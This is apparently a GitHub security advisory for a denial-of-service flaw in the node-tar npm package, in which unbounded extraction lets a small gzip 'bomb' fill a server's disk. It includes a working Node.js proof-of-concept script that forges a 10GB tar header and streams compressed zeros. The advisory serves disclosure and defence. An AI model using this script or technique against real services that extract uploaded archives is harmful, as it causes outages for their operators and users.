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node-tar: Decompression/parse DoS via unlimited input

Critical severity GitHub Reviewed Published Jun 27, 2026 in isaacs/node-tar • Updated Jul 20, 2026

Package

npm tar (npm)

Affected versions

<= 7.5.18

Patched versions

7.5.19

Description

Summary

A Decompression/parse DoS via unlimited input vulnerability in node-tar allows an attacker to exhaust server resources (disk space and CPU). Because the library does not enforce hard upper bounds on total decompressed data or entry counts, a small, maliciously crafted "Gzip Bomb" can be used to fill a server's storage and crash services.

Details

The node-tar library does not enforce a hard upper bound on archive size or the volume of decompressed data processed during extraction. While the maxReadSize option exists, it only controls internal read chunk sizes (default 16MB) and does not limit the total cumulative bytes written to disk.

Specifically, in src/extract.ts, the Unpack stream processes entries as they arrive. There is no total-bytes limit, entry-count limit, or decompression ratio guard. An attacker can provide a TAR header claiming a massive file size (e.g., 10GB) and follow it with highly compressible data (like zeros). node-tar will continue to extract and write this data until the physical disk is exhausted, as it lacks a mechanism to abort based on global resource consumption.

PoC

The following Proof of Concept demonstrates how a tiny compressed input can be expanded into gigabytes of data on the host machine almost instantly.

  1. Create the exploit script:
const fs = require('fs'), z = require('zlib'), t = require('tar');

const d = 'dos_test';
if (fs.existsSync(d)) fs.rmSync(d, {recursive:true});
fs.mkdirSync(d);

// Build 10GB header
const h = Buffer.alloc(512);
h.write('payload');
h.write((10*1024**3).toString(8).padStart(11,'0'), 124); 
h.write('ustar', 257);
let s = 256;
for(let i=0;i<512;i++) if(i<148||i>155) s+=h[i];
h.write(s.toString(8).padStart(6,'0'), 148);

const gz = z.createGzip();
gz.pipe(t.x({cwd: d}));
gz.write(h);

const b = Buffer.alloc(32 * 1024 * 1024); // 32MB chunks for speed

const run = () => {
  while (gz.write(b));
  gz.once('drain', run);
};

const monitor = setInterval(() => {
    try {
        const bytes = fs.statSync(`${d}/payload`).size;
        const mb = Math.floor(bytes / (1024 * 1024));
        process.stdout.write(`\r[>] Extracted: ${mb} MB`);
        
        if (mb > 5000) { 
            console.log('\n[!] VULN CONFIRMED: 5GB+ written from tiny input.'); 
            process.exit(); 
        }
    } catch {}
}, 50);

process.on('exit', () => {
    clearInterval(monitor);
    console.log('[*] Cleaning up...');
    if (fs.existsSync(d)) fs.rmSync(d, {recursive:true, force:true});
});

run();
  1. Run the PoC:
node poc.js

Observation: You will see the extracted size rapidly climb to 5,000 MB+ within seconds, while the actual data being "sent" through the gzip stream is negligible.

Impact

This is a Denial of Service (DoS) vulnerability. It impacts any application or service that uses node-tar to extract archives provided by untrusted users (e.g., npm registries, CI/CD pipelines, or file-sharing platforms). An unauthenticated attacker can send a small payload that expands to consume all available disk space, leading to system-wide failure and service outages.

References

@isaacs isaacs published to isaacs/node-tar Jun 27, 2026
Published by the National Vulnerability Database Jul 8, 2026
Published to the GitHub Advisory Database Jul 20, 2026
Reviewed Jul 20, 2026
Last updated Jul 20, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability High

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(35th percentile)

Weaknesses

Allocation of Resources Without Limits or Throttling

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. Learn more on MITRE.

CVE ID

CVE-2026-59873

GHSA ID

GHSA-23hp-3jrh-7fpw

Source code

Credits

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